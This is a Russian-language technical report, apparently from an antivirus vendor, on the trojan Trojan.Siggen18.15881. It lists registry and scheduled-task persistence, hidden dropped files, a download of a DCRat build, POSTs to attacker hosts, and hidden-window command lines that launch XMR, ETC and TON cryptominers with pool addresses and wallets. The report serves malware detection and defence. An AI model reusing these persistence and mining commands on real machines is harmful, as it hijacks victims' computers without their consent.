Trojan.Siggen18.15881

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ICELIUF' = '%ALLUSERSPROFILE%\System0\ICELIUF.exe'

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\iceliuf
<SYSTEM32>\tasks\winlogonw
<SYSTEM32>\tasks\winlogon
<SYSTEM32>\tasks\cmdc
<SYSTEM32>\tasks\cmd

Устанавливает следующие настройки сервисов

[<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%ALLUSERSPROFILE%\System0\WinRing0x64.sys'

Создает следующие сервисы

'WinRing0_1_2_0' %ALLUSERSPROFILE%\System0\WinRing0x64.sys

Изменения в файловой системе

Создает следующие файлы

%ALLUSERSPROFILE%\system0\iceliuf.exe
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\ebf1f9fa8afd6d
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\cmd.exe
C:\totalcmd\language\cc11b995f2a76d
C:\totalcmd\language\winlogon.exe
%ALLUSERSPROFILE%\screen.jpg
%ALLUSERSPROFILE%\system0\ton.exe
%TEMP%\jplrcvzs3u
%ALLUSERSPROFILE%\system0\etc.exe
C:\hyperportproviderreview\hyperref.exe
C:\hyperportproviderreview\4r0akbdi.bat
%ALLUSERSPROFILE%\system0\xmr.exe
%APPDATA%\dcratbuild.exe
nul
%TEMP%\tmp2c3e.tmp.bat
C:\hyperportproviderreview\ytd2nahujmohbotxsqc.vbe
%TEMP%\u6luo2d3g9.bat

Присваивает атрибут 'скрытый' для следующих файлов

%ALLUSERSPROFILE%\system0\iceliuf.exe
%ALLUSERSPROFILE%\system0\xmr.exe
%ALLUSERSPROFILE%\system0\etc.exe
%ALLUSERSPROFILE%\system0\ton.exe

Удаляет следующие файлы

%TEMP%\jplrcvzs3u

Сетевая активность

Подключается к

'a0####62.xsph.ru':80
'17#.#08.75.146':80
'po##.#upportxmr.com':5555

TCP

Запросы HTTP GET

http://a0####62.xsph.ru/DCRatBuild.exe

Запросы HTTP POST

http://17#.#08.75.146/dl.php
http://17#.#08.75.146/dlc.php
http://17#.#08.75.146/dle.php
http://17#.#08.75.146/main.php

Другие

'po##.#upportxmr.com':5555

UDP

DNS ASK a0####62.xsph.ru
DNS ASK po##.#upportxmr.com
'localhost':123

Другое

Ищет следующие окна

ClassName: 'EDIT' WindowName: ''
ClassName: '' WindowName: 'Task Manager'
ClassName: '' WindowName: 'Диспетчер задач'

Создает и запускает на исполнение

'%ALLUSERSPROFILE%\system0\iceliuf.exe'
'%APPDATA%\dcratbuild.exe'
'%WINDIR%\syswow64\wscript.exe' "C:\Hyperportproviderreview\yTd2NahuJMOHboTXsqC.vbe"
'%ALLUSERSPROFILE%\system0\xmr.exe' /c %ALLUSERSPROFILE%//System0//xmr.exe -a cryptonight-heavy --url=pool.supportxmr.com:5555 -u 46papm11u9xhP3ktAAHqui2co49iDGAfYcX6vQztNU6RZsb31yKSFn8HyygHB4cxTZYY3ktwCPsHmRyUcJWWncuz1PJrmMq -R ...
'%ALLUSERSPROFILE%\system0\etc.exe' -pool ssl://eu1-etc.ethermine.org:5555 -wal 0xaC24bB4F74b2c83F3ACa168B71B5f45764a95e91.Rig001 -coin etc -log 0
'C:\hyperportproviderreview\hyperref.exe'
'%ALLUSERSPROFILE%\system0\ton.exe' --algo TON --pool wss://eu1.stratum.ton-pool.com/stratum --user EQAgkCfA4Q7Swedhx3mcFjeuvAv0-v6qBTRjGkS6vaTNSAxO
'C:\totalcmd\language\winlogon.exe'
'<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc MINUTE /mo 3 /rl highest /tn "ICELIUF" /tr '"%ALLUSERSPROFILE%\System0\ICELIUF.exe"' & exit' (со скрытым окном)
'%ALLUSERSPROFILE%\system0\xmr.exe' /c %ALLUSERSPROFILE%//System0//xmr.exe -a cryptonight-heavy --url=pool.supportxmr.com:5555 -u 46papm11u9xhP3ktAAHqui2co49iDGAfYcX6vQztNU6RZsb31yKSFn8HyygHB4cxTZYY3ktwCPsHmRyUcJWWncuz1PJrmMq -R ...' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""C:\Hyperportproviderreview\4r0akBDI.bat" "' (со скрытым окном)
'%ALLUSERSPROFILE%\system0\etc.exe' -pool ssl://eu1-etc.ethermine.org:5555 -wal 0xaC24bB4F74b2c83F3ACa168B71B5f45764a95e91.Rig001 -coin etc -log 0' (со скрытым окном)
'%ALLUSERSPROFILE%\system0\ton.exe' --algo TON --pool wss://eu1.stratum.ton-pool.com/stratum --user EQAgkCfA4Q7Swedhx3mcFjeuvAv0-v6qBTRjGkS6vaTNSAxO' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C "%TEMP%\U6lUO2d3g9.bat"' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c ""%TEMP%\tmp2C3E.tmp.bat""
'<SYSTEM32>\timeout.exe' 3
'<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc MINUTE /mo 3 /rl highest /tn "ICELIUF" /tr '"%ALLUSERSPROFILE%\System0\ICELIUF.exe"' & exit
'<SYSTEM32>\schtasks.exe' /create /f /sc MINUTE /mo 3 /rl highest /tn "ICELIUF" /tr '"%ALLUSERSPROFILE%\System0\ICELIUF.exe"'
'%WINDIR%\syswow64\cmd.exe' /c ""C:\Hyperportproviderreview\4r0akBDI.bat" "
'<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 11 /tr "'C:\totalcmd\LANGUAGE\winlogon.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\totalcmd\LANGUAGE\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "cmdc" /sc MINUTE /mo 13 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\cmd.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "cmd" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\cmd.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "cmdc" /sc MINUTE /mo 14 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\cmd.exe'" /rl HIGHEST /f
'<SYSTEM32>\cmd.exe' /C "%TEMP%\U6lUO2d3g9.bat"
'<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
'<SYSTEM32>\taskeng.exe' {BEDD1696-B2A3-4C4C-AF2B-8699C07DE435} S-1-5-21-1960123792-2022915161-3775307078-1001:jbkavimpkbgy\user:Interactive:[1]